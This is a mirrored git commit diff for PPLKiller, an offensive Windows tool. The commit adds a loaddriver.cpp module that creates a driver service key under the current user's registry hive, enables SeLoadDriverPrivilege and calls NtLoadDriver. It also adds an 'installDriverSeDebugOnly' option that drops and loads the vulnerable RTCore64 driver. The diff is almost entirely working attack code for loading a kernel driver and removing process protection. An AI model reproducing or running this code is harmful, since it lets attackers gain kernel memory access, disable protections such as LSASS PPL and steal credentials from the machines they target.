mirror of
https://github.com/RedCursorSecurityConsulting/PPLKiller
synced 2026-06-21 13:45:37 +00:00
Update help
This commit is contained in:
@@ -139,12 +139,14 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="loaddriver.cpp" />
|
||||
<ClCompile Include="main.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Resource.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="loaddriver.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
|
||||
@@ -18,6 +18,9 @@
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="loaddriver.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Resource.rc">
|
||||
@@ -28,5 +31,8 @@
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="loaddriver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+286
@@ -0,0 +1,286 @@
|
||||
#include "loaddriver.h"
|
||||
|
||||
ULONG
|
||||
LoadDriver(LPWSTR userSid, LPWSTR RegistryPath)
|
||||
{
|
||||
UNICODE_STRING DriverServiceName;
|
||||
NTSTATUS status;
|
||||
|
||||
typedef NTSTATUS(_stdcall* NT_LOAD_DRIVER)(IN PUNICODE_STRING DriverServiceName);
|
||||
typedef void (WINAPI* RTL_INIT_UNICODE_STRING)(PUNICODE_STRING, PCWSTR);
|
||||
|
||||
NT_LOAD_DRIVER NtLoadDriver = (NT_LOAD_DRIVER)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtLoadDriver");
|
||||
RTL_INIT_UNICODE_STRING RtlInitUnicodeString = (RTL_INIT_UNICODE_STRING)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString");
|
||||
|
||||
wchar_t registryPath[MAX_PATH];
|
||||
_snwprintf_s(registryPath, _TRUNCATE, L"%s%s\\%s", REGISTRY_USER_PREFIX, userSid, RegistryPath);
|
||||
|
||||
wprintf(L"[+] Loading Driver: %s\n", registryPath);
|
||||
|
||||
|
||||
RtlInitUnicodeString(&DriverServiceName, registryPath);
|
||||
|
||||
status = NtLoadDriver(&DriverServiceName);
|
||||
printf("NTSTATUS: %08x, WinError: %d\n", status, GetLastError());
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
//return RtlNtStatusToDosError(status);
|
||||
return -1;
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa446619(v=vs.85).aspx
|
||||
BOOL SetPrivilege(
|
||||
HANDLE hToken, // access token handle
|
||||
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
||||
BOOL bEnablePrivilege // to enable or disable privilege
|
||||
)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
if (!LookupPrivilegeValue(
|
||||
NULL, // lookup privilege on local system
|
||||
lpszPrivilege, // privilege to lookup
|
||||
&luid)) // receives LUID of privilege
|
||||
{
|
||||
wprintf(L"[-] LookupPrivilegeValue error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
if (bEnablePrivilege)
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
else
|
||||
tp.Privileges[0].Attributes = 0;
|
||||
|
||||
// Enable the privilege or disable all privileges.
|
||||
|
||||
if (!AdjustTokenPrivileges(
|
||||
hToken,
|
||||
FALSE,
|
||||
&tp,
|
||||
sizeof(TOKEN_PRIVILEGES),
|
||||
(PTOKEN_PRIVILEGES)NULL,
|
||||
(PDWORD)NULL))
|
||||
{
|
||||
wprintf(L"[-] AdjustTokenPrivileges error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
|
||||
{
|
||||
wprintf(L"[-] The token does not have the specified privilege. \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ULONG
|
||||
CreateRegistryKey(
|
||||
const LPWSTR RegistryPath,
|
||||
const LPWSTR DriverPath
|
||||
)
|
||||
{
|
||||
ULONG dwErrorCode;
|
||||
HKEY hKey;
|
||||
DWORD dwDisposition;
|
||||
DWORD dwServiceType = 1;
|
||||
DWORD dwServiceErrorControl = 1;
|
||||
DWORD dwServiceStart = 3;
|
||||
SIZE_T ServiceImagePathSize;
|
||||
wchar_t registryPath[MAX_PATH], serviceImagePath[MAX_PATH];
|
||||
|
||||
_snwprintf_s(registryPath, _TRUNCATE, L"%s", RegistryPath);
|
||||
_snwprintf_s(serviceImagePath, _TRUNCATE, L"%s%s", IMAGE_PATH, DriverPath);
|
||||
|
||||
dwErrorCode = RegCreateKeyExW(HKEY_CURRENT_USER,
|
||||
registryPath,
|
||||
0,
|
||||
NULL,
|
||||
0,
|
||||
KEY_ALL_ACCESS,
|
||||
NULL,
|
||||
&hKey,
|
||||
&dwDisposition);
|
||||
|
||||
if (dwDisposition != REG_CREATED_NEW_KEY) {
|
||||
RegCloseKey(hKey);
|
||||
wprintf(L"RegCreateKeyEx failed: 0x%x\n", dwErrorCode);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
ServiceImagePathSize = (lstrlenW(serviceImagePath) + 1) * sizeof(WCHAR);
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"ImagePath",
|
||||
0,
|
||||
REG_EXPAND_SZ,
|
||||
(const BYTE*)serviceImagePath,
|
||||
ServiceImagePathSize);
|
||||
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"Type",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceType,
|
||||
sizeof(DWORD));
|
||||
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"ErrorControl",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceErrorControl,
|
||||
sizeof(DWORD));
|
||||
if (dwErrorCode) {
|
||||
RegCloseKey(hKey);
|
||||
return dwErrorCode;
|
||||
}
|
||||
|
||||
dwErrorCode = RegSetValueExW(hKey,
|
||||
L"Start",
|
||||
0,
|
||||
REG_DWORD,
|
||||
(const BYTE*)&dwServiceStart,
|
||||
sizeof(DWORD));
|
||||
|
||||
RegCloseKey(hKey);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
LPWSTR getUserSid(HANDLE hToken)
|
||||
{
|
||||
|
||||
// Get the size of the memory buffer needed for the SID
|
||||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
|
||||
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa379554(v=vs.85).aspx
|
||||
|
||||
DWORD dwBufferSize = 0;
|
||||
if (!GetTokenInformation(hToken, TokenUser, NULL, 0, &dwBufferSize) &&
|
||||
(GetLastError() != ERROR_INSUFFICIENT_BUFFER))
|
||||
{
|
||||
wprintf(L"GetTokenInformation failed, error: %d\n",
|
||||
GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/6b23fff0-773b-4065-bc3f-d88ce6c81eb0/get-user-sid-in-unmanaged-c?forum=vcgeneral
|
||||
PTOKEN_USER pUserToken = (PTOKEN_USER)HeapAlloc(
|
||||
GetProcessHeap(),
|
||||
HEAP_ZERO_MEMORY,
|
||||
dwBufferSize);
|
||||
|
||||
if (pUserToken == NULL) {
|
||||
HeapFree(GetProcessHeap(), 0, (LPVOID)pUserToken);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Retrive token info
|
||||
if (!GetTokenInformation(
|
||||
hToken,
|
||||
TokenUser,
|
||||
pUserToken,
|
||||
dwBufferSize,
|
||||
&dwBufferSize))
|
||||
{
|
||||
GetLastError();
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Check if SID is valid
|
||||
if (!IsValidSid(pUserToken->User.Sid))
|
||||
{
|
||||
wprintf(L"The owner SID is invalid.\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
LPWSTR sidString;
|
||||
ConvertSidToStringSidW(pUserToken->User.Sid, &sidString);
|
||||
return sidString;
|
||||
}
|
||||
|
||||
int fullsend(LPWSTR RegistryPath, LPWSTR DriverImagePath)
|
||||
{
|
||||
//LPWSTR* szArglist;
|
||||
//int nArgs;
|
||||
//LPWSTR RegistryPath, DriverImagePath;
|
||||
ULONG dwErrorCode;
|
||||
int ret = 0;
|
||||
|
||||
//szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
|
||||
//if (NULL == szArglist)
|
||||
//{
|
||||
// printUsage();
|
||||
// return 0;
|
||||
//}
|
||||
|
||||
//if (nArgs != 3) {
|
||||
// printUsage();
|
||||
// LocalFree(szArglist);
|
||||
// return 0;
|
||||
//}
|
||||
|
||||
//RegistryPath = szArglist[1];
|
||||
//DriverImagePath = szArglist[2];
|
||||
|
||||
// Get Current Process Token
|
||||
HANDLE hToken;
|
||||
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
{
|
||||
wprintf(L"[+] OpenProcessToken Failed\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
LPWSTR userSidStr;
|
||||
|
||||
userSidStr = getUserSid(hToken);
|
||||
if (userSidStr == NULL)
|
||||
{
|
||||
wprintf(L"[+] Error while getting user SID\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
dwErrorCode = CreateRegistryKey((LPWSTR)RegistryPath, DriverImagePath);
|
||||
if (dwErrorCode != 0) {
|
||||
wprintf(L"[-] Error while creating registry keys: error value %d\n", dwErrorCode);
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
// Enable Privileges
|
||||
wprintf(L"[+] Enabling SeLoadDriverPrivilege\n");
|
||||
|
||||
if (SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, true))
|
||||
wprintf(L"[+] SeLoadDriverPrivilege Enabled\n");
|
||||
else
|
||||
{
|
||||
wprintf(L"[-] SeLoadDriverPrivilege Failed\n");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
ret = LoadDriver(userSidStr, RegistryPath);
|
||||
|
||||
cleanup:
|
||||
CloseHandle(hToken);
|
||||
hToken = NULL;
|
||||
//LocalFree(szArglist);
|
||||
|
||||
return(ret);
|
||||
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <Winternl.h>
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
#include <sddl.h>
|
||||
#include <shellapi.h>
|
||||
#include <strsafe.h>
|
||||
|
||||
#define REGISTRY_USER_PREFIX _T("\\Registry\\User\\")
|
||||
#define IMAGE_PATH _T("\\??\\")
|
||||
|
||||
int fullsend(LPWSTR, LPWSTR);
|
||||
@@ -14,6 +14,7 @@
|
||||
#include <string_view>
|
||||
|
||||
#include "resource.h"
|
||||
#include "loaddriver.h"
|
||||
|
||||
#define AUTHOR L"@aceb0nd"
|
||||
#define VERSION L"0.3"
|
||||
@@ -110,58 +111,6 @@ void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
|
||||
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
|
||||
}
|
||||
|
||||
BOOL SetPrivilege(
|
||||
HANDLE hToken, // access token handle
|
||||
LPCTSTR lpszPrivilege, // name of privilege to enable/disable
|
||||
BOOL bEnablePrivilege // to enable or disable privilege
|
||||
)
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
LUID luid;
|
||||
|
||||
if (!LookupPrivilegeValue(
|
||||
NULL, // lookup privilege on local system
|
||||
lpszPrivilege, // privilege to lookup
|
||||
&luid)) // receives LUID of privilege
|
||||
{
|
||||
printf("LookupPrivilegeValue error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
if (bEnablePrivilege)
|
||||
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
else
|
||||
tp.Privileges[0].Attributes = 0;
|
||||
|
||||
// Enable the privilege or disable all privileges.
|
||||
|
||||
if (!AdjustTokenPrivileges(
|
||||
hToken,
|
||||
FALSE,
|
||||
&tp,
|
||||
sizeof(TOKEN_PRIVILEGES),
|
||||
(PTOKEN_PRIVILEGES)NULL,
|
||||
(PDWORD)NULL))
|
||||
{
|
||||
printf("AdjustTokenPrivileges error: %u\n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
|
||||
|
||||
{
|
||||
printf("The token does not have the specified privilege. \n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// END driver comms code
|
||||
// START Mimikatz driver install/uninstall code
|
||||
@@ -611,13 +560,6 @@ int wmain(int argc, wchar_t* argv[]) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
HANDLE hToken;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
wprintf(L"OpenProcessToken error\n");
|
||||
}
|
||||
SetPrivilege(hToken, SE_LOAD_DRIVER_NAME, TRUE);
|
||||
|
||||
|
||||
|
||||
const auto svcName = L"RTCore64";
|
||||
|
||||
@@ -648,6 +590,11 @@ int wmain(int argc, wchar_t* argv[]) {
|
||||
wprintf(L"[!] 0x00000005 - Access Denied - Did you run as administrator?\n");
|
||||
}
|
||||
}
|
||||
else if (wcscmp(argv[1] + 1, L"installDriverSeDebugOnly") == 0) {
|
||||
WCHAR* driverPath = dropDriver();
|
||||
wchar_t key[] = L"System\\CurrentControlSet\\RTCore64";
|
||||
fullsend(key, driverPath);
|
||||
}
|
||||
else if (wcscmp(argv[1] + 1, L"uninstallDriver") == 0) {
|
||||
service_uninstall(svcName);
|
||||
auto tempPath = GetUserLocalTempPath();
|
||||
|
||||
Reference in New Issue
Block a user